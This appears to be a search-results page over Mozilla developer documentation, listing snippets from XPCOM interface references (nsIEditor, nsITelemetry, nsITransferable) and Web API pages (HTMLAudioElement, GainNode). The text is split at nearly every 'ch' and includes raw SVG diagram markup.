changed in gecko 18.0 (firefox 18.0 / thunderbird 18.0 / seamonkey 2.15) method overview [noscript] void init(in nsidomdocument doc, in nsicontent aroot, in nsiselectioncontroller aselcon, in unsigned long aflags); void setattributeorequivalent(in nsidomelement element, in astring sourceattrname, in astring sourceattrvalue, in boolean asuppresstransaction); void removeattributeorequivalent(in nsidomelement element, in domstring sourceattrname, in boolean asuppresstransaction); void postcreate(); void predestroy(in boolean adestroyingframes...
... void redo(in unsigned long count); void canredo(out boolean isenabled, out boolean canredo); void begintransaction(); void endtransaction(); void beginplaceholdertransaction(in nsiatom name); void endplaceholdertransaction(); boolean shouldtxnsetselection(); void setshouldtxnsetselection(in boolean should); inline spell
checking methods nsiinlinespell
checker getinlinespell
checker(in boolean autocreate); void syncrealtimespell(); void setspell
checkuseroverride(in boolean enable); clipboard methods void cut(); boolean cancut(); void copy(); boolean cancopy(); void paste(in long aselectiontype); boolean canpaste(in long aselectio...
...domnode createnode(in astring tag, in nsidomnode parent, in long position); void insertnode(in nsidomnode node, in nsidomnode parent, in long aposition); void splitnode(in nsidomnode existingrightnode, in long offset, out nsidomnode newleftnode); void joinnodes(in nsidomnode leftnode, in nsidomnode rightnode, in nsidomnode parent); void deletenode(in nsidomnode
child); void marknodedirty(in nsidomnode node); direction controller void swit
chtextdirection(); output methods astring outputtostring(in astring formattype, in unsigned long flags); example: // flags are declared in base/public/nsidocumentencoder.idl // outputselectiononly = 1, outputformatted = 2, // outputraw = 4, o...
...And 5 more matches
nsIEffectiveTLDService
1.0 66 introduced gecko 1.9 inherits from: nsisupports last
changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/network/effective-tld-service;1.
...cookie setting and domain highlighting, but you should
check whether it's the right answer for your application.
...that question is unanswerable with 100% accuracy using the psl, because what is a domain name is a property of the dns, whi
ch is different for different people.
...And 5 more matches
nsIFeed
1.0 66 introduced gecko 1.8 inherits from: nsifeedcontainer last
changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) attributes attribute type description cloud nsiwritablepropertybag2 the cloud element on a feed is used to identify the api endpoint of an rsscloud ping server, whi
ch distributes notifications of
changes to this feed.
... skipdays nsiarray an array of days of the week on whi
ch the feed should not be fet
ched.
... ea
ch entry in the array is the name of one day of the week to skip.
...And 5 more matches
nsIFeedTextConstruct
1.0 66 introduced gecko 1.8 inherits from: nsisupports last
changed in gecko 1.8.1 (firefox 2 / thunderbird 2 / seamonkey 1.1) implemented by: @mozilla.org/feed-textconstruct;1, but users usually don't need to create instances of this directly.
... various other feed-related interfaces, su
ch as nsifeed, nsifeedentry, and nsifeedcontainer have attributes that return objects implementing nsifeedtextconstruct.
... lang astring the language of the text (su
ch as "en-us" for u.s.
...And 5 more matches
nsIFileProtocolHandler
inherits from: nsiprotocolhandler last
changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview nsifile getfilefromurlspec(in autf8string url); autf8string geturlspecfromactualfile(in nsifile file); autf8string geturlspecfromdir(in nsifile file); autf8string geturlspecfromfile(in nsifile file); nsiuri newfileuri(in nsifile afile); nsiuri readurlfile(in nsifile file); methods getfilefromurlspec() converts the url string into the corresponding nsifile if possible.
...should only be called on files whi
ch are not directories.
...the resulting string may contain url-escaped
characters.
...And 5 more matches
nsIFrameLoader
1.0 66 introduced gecko 1.8 inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) note: this interface works in tandem with the nsicontentview interface to manage frames across processes if electrolysis is in use to support per-frame processes.
... method overview void activateframeevent(in astring atype, in boolean capture); void activateremoteframe(); void destroy(); void loadframe(); void loaduri(in nsiuri auri); void sendcrossprocesskeyevent(in astring atype, in long akeycode, in long a
charcode, in long amodifiers, [optional] in boolean apreventdefault); void sendcrossprocessmouseevent(in astring atype, in float ax, in float ay, in long abutton, in long aclickcount, in long amodifiers, [optional] in boolean aignorerootscrollframe); void updatepositionandsize(in nsiframe aiframe); native code only!
... messagemanager nsi
chromeframemessagemanager the message manager handling messages for this frame.
...And 5 more matches
nsIInputStream
inherits from: nsisupports last
changed in gecko 17.0 (firefox 17.0 / thunderbird 17.0 / seamonkey 2.14) an input stream may be "blocking" or "non-blocking" (see the isnonblocking() method).
... method overview unsigned long available();deprecated since gecko 17.0 unsigned long long available(); void close(); boolean isnonblocking(); unsigned long read(in
charptr abuf, in unsigned long acount); native code only!
... note: some nsiinputstream implementations automatically close() when end-of-file is rea
ched; others do not.
...And 5 more matches
nsILocalFileMac
inherits from: nsilocalfile last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview cfurlref getcfurl(); native code only!
...obsolete since gecko 1.9.2 boolean ispackage(); void laun
chwithdoc(in nsilocalfile adoctoload, in boolean alaun
chinbackground); void opendocwithapp(in nsilocalfile aapptoopenwith, in boolean alaun
chinbackground); void setfiletypeandcreatorfromextension(in string aextension); obsolete since gecko 1.9.2 void setfiletypeandcreatorfrommimetype(in string amimetype); obsolete since gecko 1.9.2 attributes attribute type description bundledisplaynam...
...laun
chwithdoc() laun
ch the application that this file points to with a document.
...And 5 more matches
nsILoginManagerPrompter
1.0 66 introduced gecko 1.9 inherits from: nsisupports last
changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/login-manager/prompter;1.
... to call this service, use: var loginmanagerprompter = components.classes["@mozilla.org/login-manager/prompter;1"] .getservice(components.interfaces.nsiloginmanagerprompter); method overview void init(in nsidomwindow awindow); void promptto
changepassword(in nsilogininfo aoldlogin, in nsilogininfo anewlogin); void promptto
changepasswordwithusernames([array, size_is(count)] in nsilogininfo logins, in pruint32 count, in nsilogininfo anewlogin); void prompttosavepassword(in nsilogininfo alogin); methods init() initialize the prompter.
... void init( in nsidomwindow awindow ); parameters awindow the in whi
ch the user is doing some login-related action that is resulting in a need to prompt them for something.
...And 5 more matches
nsIMimeConverter
method overview string encodemimepartiistr(in string header, in boolean structured, in string mail
charset, in long fieldnamelen, in long encodedwordsize); string encodemimepartiistr_utf8(in autf8string header, in boolean structured, in string mail
charset, in long fieldnamelen, in long encodedwordsize); string decodemimeheaderto
charptr(in string header, in string default_
charset, in boolean override_
charset, in boolean eatcontinuations); astring decodemimeheader(in string header, in string default_
charset, in boolean override_
charset, in boolean eatcontinuations); mi...
...nverteroutputcallback output_fn, in void *closure); mimeencoderdata *qpencoderinit(in mimeconverteroutputcallback output_fn, in void *closure); void encoderdestroy(in mimeencoderdata *data, in boolean abort_p); long encoderwrite(in mimeencoderdata *data, in string buffer, in long size); methods encodemimepartiistr() an variant of encodemimepartiistr_utf8() whi
ch treats the header as written in the given
charset.
... string encodemimepartiistr(in string header, in boolean structured, in string mail
charset, in long fieldnamelen, in long encodedwordsize); parameters propertyname the name of the property to retrieve.
...And 5 more matches
Building an Account Manager Extension
we name the extension "devmo-account" and state that it is located in the
chrome package "example@mozilla.org".
... components.utils.import("resource://gre/modules/xpcomutils.jsm"); //class constructor function devmoaccountmanagerextension() {}; // class definition devmoaccountmanagerextension.prototype = { name : "devmo-account",
chromepackagename : "example@mozilla.org", showpanel: function(server) { //this panel is only shown for imap accounts...
...the unique component identifier (
change it if you copied this example!)...
...And 5 more matches
nsIOutputStream
inherits from: nsisupports last
changed in gecko 1.0 an output stream may be "blocking" or "non-blocking" (see the isnonblocking() method).
... flush() this method may be called to instruct the output stream to write out the contents of any internal buffers to a low-level data sink, su
ch as a file on disk.
... note: though this method is scriptable, javascript code must only pass an ascii
character string as the abuf parameter.
...And 5 more matches
nsIServerSocket
last
changed in gecko 1.6 inherits from: nsisupports implemented by: @mozilla.org/network/server-socket;1.
...it will asyn
chronously listen for and accept client connections.
... the listener will be notified once for ea
ch client connection that is accepted.
...And 5 more matches
nsISound
inherits from: nsisupports last
changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) warning: this interface should not be used to play custom sounds in modern code.
... event_prompt_dialog_open 3 a prompt dialog (one that allows the user to enter data, su
ch as an authentication dialog) is opened.
... event_editor_max_len 7 more
characters than the maximum allowed are typed into a text field.
...And 5 more matches
nsISupportsPriority
xpcom/threads/nsisupportspriority.idlscriptable this interface exposes the general notion of a s
cheduled object with an integral priority value.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last
changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) this interface does not strictly define what happens when the priority of an object is
changed.
... an implementation of this interface is free to define the side-effects of
changing the priority of an object.
...And 5 more matches
nsITelemetry
1.0 66 introduced gecko 6.0 inherits from: nsisupports last
changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) implemented by: @mozilla.org/base/telemetry;1 as a service: let telemetry = components.classes["@mozilla.org/base/telemetry;1"] .getservice(components.interfaces.nsitelemetry); method overview jsval gethistogrambyid(in acstring id); jsval snapshothistograms(in uint32_t adataset, in boolean asubsession, in boolean aclear); jsval getkeyedhistogrambyid(in acstring id); void capturestack(in acstring name); jsva...
...l snapshotcapturedstacks([optional] in boolean clear); nsisupports getloadedmodules(); jsval snapshotkeyedhistograms(in uint32_t adataset, in boolean asubsession, in boolean aclear); void sethistogramrecordingenabled(in acstring id, in boolean enabled); void asyncfet
chtelemetrydata(in nsifet
chtelemetrydatacallback acallback); double mssinceprocessstart(); void scalaradd(in acstring aname, in jsval avalue); void scalarset(in acstring aname, in jsval avalue); void scalarsetmaximum(in acstring aname, in jsval avalue); jsval snapshotscalars(in uint32_t adataset, [optional] in boolean aclear); void keyedscalaradd(in acstring aname, in astring akey, in jsval avalue); void keyedscalarset(in acstring...
... aname, in astring akey, in jsval avalue); void keyedscalarsetmaximum(in acstring aname, in astring akey, in jsval avalue); jsval snapshotkeyedscalars(in uint32_t adataset, [optional] in boolean aclear); void clearscalars(); test only void flushbat
ched
childtelemetry(); void recordevent(in acstring acategory, in acstring amethod, in acstring aobject, [optional] in jsval avalue, [optional] in jsval extra); void seteventrecordingenabled(in acstring acategory, in boolean aenabled); jsval snapshotevents(in uint32_t adataset, [optional] in boolean aclear); void registerevents(in acstring acategory, in jsval aeventdata); void registerscalars(in acstring acategoryname, in jsval ascalardata); void clearevents();...
...And 5 more matches
nsITransactionManager
inherits from: nsisupports last
changed in gecko 1.7 method overview void addlistener(in nsitransactionlistener alistener); void beginbat
ch(); void clear(); void dotransaction(in nsitransaction atransaction); void endbat
ch(); nsitransactionlist getredolist(); nsitransactionlist getundolist(); nsitransaction peekredostack(); nsitransaction peekundostack(); void redotransaction(); void removelistener(in nsitransactionlistener alistener); void undotransaction(); attributes attribute type description maxtransactioncount long sets the maximum number of transaction items the transaction manager will maintain at an...
...a value of zero means the transaction manager will execute ea
ch transaction, then immediately release all references it has to the transaction without pushing it on the undo stack.
... beginbat
ch() turns on the transaction manager's bat
ch mode, forcing all transactions executed by the transaction manager's dotransaction() method to be aggregated together until endbat
ch() is called.
...And 5 more matches
nsITransferable
inherits from: nsisupports last
changed in gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10) implemented by: @mozilla.org/widget/transferable;1.
... to create an instance, use: var transferable = components.classes["@mozilla.org/widget/transferable;1"] .createinstance(components.interfaces.nsitransferable); it's important to note that a flavor, whi
ch specifies a type of data the transferable supports, is represented by a null-terminated string indicating the mime type of the format supported by the flavor.
... long adatalen ); void init(in nsiloadcontext acontext); boolean islargedataset( ); void removedataflavor( in string adataflavor ); void settransferdata( in string aflavor, in nsisupports adata, in unsigned long adatalen ); attributes attribute type description converter nsiformatconverter an nsiformatconverter instance whi
ch implements the code needed to convert data into and out of the transferable given the supported flavors.
...And 5 more matches
nsIURIFixup
inherits from: nsisupports last
changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) implemented by: @mozilla.org/docshell/urifixup;1 as a service: var urifixup = components.classes["@mozilla.org/docshell/urifixup;1"] .createinstance(components.interfaces.nsiurifixup); method overview nsiuri createexposableuri(in nsiuri auri); nsiuri createfixupuri(in autf8string auritext, in unsigned long afixupflags); nsiuri keywordtouri(in autf8string akeyword); nsiurifixupinfo getfixupuriinfo(in autf8string auritext, in unsigned long afixupflags); constants constant value description ...
...the fixup object implementer should honour this flag and only perform any lengthy keyword (or sear
ch) operation if it is set.
... fixup_flag_use_utf8 4 use utf-8 to encode the uri instead of the platform
character set.
...And 5 more matches
nsIUpdateItem
1.0 66 introduced gecko 1.8 obsolete gecko 2.0 inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface is obsolete; instead of using the extension manager, you should use the addon manager.
... targetappid astring the target application id used for
checking compatibility for this item.
... constants item type constants constants representing types of update
checks.
...And 5 more matches
Weak reference
after all, the observable must send messages to ea
ch observer, notifying it of the appropriate state
changes.
...but in this design, by hit
ching its life to the observable, it is kept on life-support long past any need or use.
... what is actually needed in this case, is either out-of-band signaling, where when the observer wants to go away, it unregisters itself from the observable, whi
ch then releases its owning reference, allowing the observer to die, or else a new kind of reference.
...And 5 more matches
xptcall FAQ
the xptcall approa
ch was
chosen over an approa
ch that would have required generating stub code for calling and implementing all interfaces.
... though the
chosen approa
ch requires some core platform specific code, it has minimal footprint and is extendable to work with any valid xpcom interface without requiring additional per platform compiled code to be distributed.
... the stubs (or impersonation) facility of xptcall allows for implementing a class whi
ch can, at runtime, pretend to be any xpcom interface.
...And 5 more matches
Testing Mozilla code
before you can even get your code committed into the source tree, you have to test it, and larger pat
ches have to have automated tests.
...the first part will focus on the modern and robust way of static-analysis and the second part will present the build-time static-analysis.debugging mozilla with valgrindthis page describes how to use valgrind (specifically, its mem
check tool) to find memory errors.firefox and address sanitizeraddress sanitizer (asan) is a fast memory error detector that detects use-after-free and out-of-bound bugs in c/c++ programs.
... it uses a compile-time instrumentation to
check all reads and writes during the execution.
...And 5 more matches
MailNews fakeserver
it utilizes utf-8 as its transport me
chanism and is capable of performing proper pipelining of commands.
...an example of su
ch a manipulation is adding a folder or adding messages.
...it will also properly queue all messages sent in pipelining mode and will present lines without any eol
characters.
...And 5 more matches
Main Windows
mu
ch of it may no longer be relevant.
... the base
chrome directory of thunderbird can sometimes appear confusing when you're just beginning to look at it.
... as su
ch, i've always thought it would be nice to have a list of what xul, js, or other files are that are here, what they do, and where they overlay at different points within the client.
...And 5 more matches
Adding items to the Folder Pane
that container will have 3
child-items, the numbers 1, 2, and 3.
...ea
ch time the folder pane determines that it is necessary to invalidate all its data (because of too many
changes, or more commonly because the folder pane's "mode" (aka view) has
changed), a "rebuild" occurs.
... listening for folder pane rebuilds every time the folder pane rebuilds, it fires a "maprebuild" event, whi
ch is the ideal opportunity for extensions to step in and modify the display data.
...And 5 more matches
customDBHeaders Preference
some of the functionality described here is really new, so please try to be understanding if some of these things
change tomorrow (or have
changed already).
... while i was going through the creating a custom column guide, i built and used thunderbird-2.0b1
checked-out from cvs with the thunderbird_2_0b1_release tag.
...also, it has been brought to my attention that the delimiter has been
changed to a space in the latest code.
...And 5 more matches
Scripting plugins - Plugins
this extension will also let plugins access the script objects in the browser, and is thus a mu
ch stronger and more flexible api.) the information in this section applies to firefox 1.0 and mozilla 1.7.5 and newer versions.
... how the dom handles scripting the mozilla dom code now
checks if a plugin supports this new scriptability api and if it exposes a scriptable object through this new me
chanism.
...the threading model for this api is su
ch that all calls through this api are syn
chronous and calls from a plugin to methods in this api must come from the thread on whi
ch the plugin was initiated, and likewise all calls to methods in this api by the browser are guaranteed to come from the same thread.
...And 5 more matches
Browser Toolbox - Firefox Developer Tools
to enable it you need to
check the settings "enable
chrome and addon debugging" and "enable remote debugging".
... to do this, open the developer tools settings, go to the section "advanced settings", and
check the settings "enable browser
chrome and add-on debugging toolboxes" and "enable remote debugging".
... you will be presented with a dialog like this (it can be removed by setting the devtools.debugger.prompt-connection property to false): click ok, and the browser toolbox will open in its own window: you'll be able to inspect the browser's
chrome windows and see, and be able to debug, all the javascript files loaded by the browser itself and by any add-ons that are running.
...And 5 more matches
Tree map view - Firefox Developer Tools
the tree map view provides a visual representation of the snapshot, that helps you quickly get an idea of whi
ch objects are using the most memory.
... a treemap displays "hierar
chical (tree-structured) data as a set of nested rectangles".
... for the treemaps shown in the memory tool, things on the heap are divided at the top level into four categories: objects: javascript and dom objects, su
ch as function, object, or array, and dom types like window and htmldivelement.
...And 5 more matches
GainNode - Web APIs
the gainnode interface represents a
change in volume.
...a gainnode always has exactly one input and one output, both with the same number of
channels.
... the gain is a unitless value,
changing with time, that is multiplied to ea
ch corresponding sample of all input
channels.
...And 5 more matches
GeolocationCoordinates.longitude - Web APIs
the geolocationcoordinates interface's read-only longitude property is a double-precision floating point value whi
ch represents the longitude of a geographical position, specified in decimal degrees.
... together with a domtimestamp indicating a time of measurement, the geolocationcoordinates object is part of the geolocationposition interface, whi
ch is the object type returned by geolocation api functions that obtain and return a geographical position.
... note: the zero meridian (also known as the prime meridian or the reference meridian) is not precisely the same as the greenwhi
ch meridian that most people think of.
...And 5 more matches
GlobalEventHandlers.onanimationiteration - Web APIs
the animationiteration event is sent when a css animation rea
ches the end of an iteration.
... syntax var animiterationhandler = target.onanimationiteration; target.onanimationiteration = function value a function to be called when an animationiteration event occurs indicating that a css animation has rea
ched the end of an iteration while running on the target, where the target object is an html element (htmlelement), document (document), or window (window).
... the function receives as input a single parameter: an animationevent object describing the event whi
ch occurred.
...And 5 more matches
HTMLAudioElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmediaelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">ht...
...And 5 more matches
HTMLBodyElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlbodyelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">...
...And 5 more matches
HTMLElement.dir - Web APIs
the text writing directionality of an element is whi
ch direction that text goes (for support of different language systems).
... an image can have its dir property set to "rtl" in whi
ch case the html attributes title and alt will be formatted and defined as "rtl".
... when an element has its dir set to "auto", the direction of the element is determined based on its first strong directionality
character, or default to the directionality of its parent element.
...And 5 more matches
HTMLFieldSetElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlfieldsetelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="midd...
...And 5 more matches
HTMLIFrameElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmliframeelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle...
...And 5 more matches
HTMLImageElement.crossOrigin - Web APIs
the htmlimageelement interface's crossorigin attribute is a string whi
ch specifies the cross-origin resource sharing (cors) setting to use when retrieving the image.
... syntax htmlimageelement.crossorigin = crossoriginmode; let crossoriginmode = htmlimageelement.crossorigin; value a domstring of a keyword specifying the cors mode to use when fet
ching the image resource.
... if you don't specify crossorigin, the image is fet
ched without cors (the fet
ch no-cors mode).
...And 5 more matches
HTMLImageElement.height - Web APIs
the height property of the htmlimageelement interface indicates the height at whi
ch the image is drawn, in css pixels if the image is being drawn or rendered to any visual medium su
ch as the screen or a printer; otherwise, it's the natural, pixel density corrected height of the image.
...the terms in whi
ch the height is defined depends on whether the image is being rendered to a visual medium or not.
... if the image is being rendered to a visual medium su
ch as a screen or printer, the height is expressed in css pixels.
...And 5 more matches
HTMLOrForeignElement.dataset - Web APIs
it is a map of domstrings (domstringmap) with one entry for ea
ch custom data attribute.
...instead, all writes must be to the individual properties within the dataset, whi
ch in turn represent the data attributes.
...it must contain only letters, numbers, and the following
characters: dash (-), dot (.), colon (:), underscore (_)—but not any ascii capital letters (a to z).
...And 5 more matches
HTMLTableSectionElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
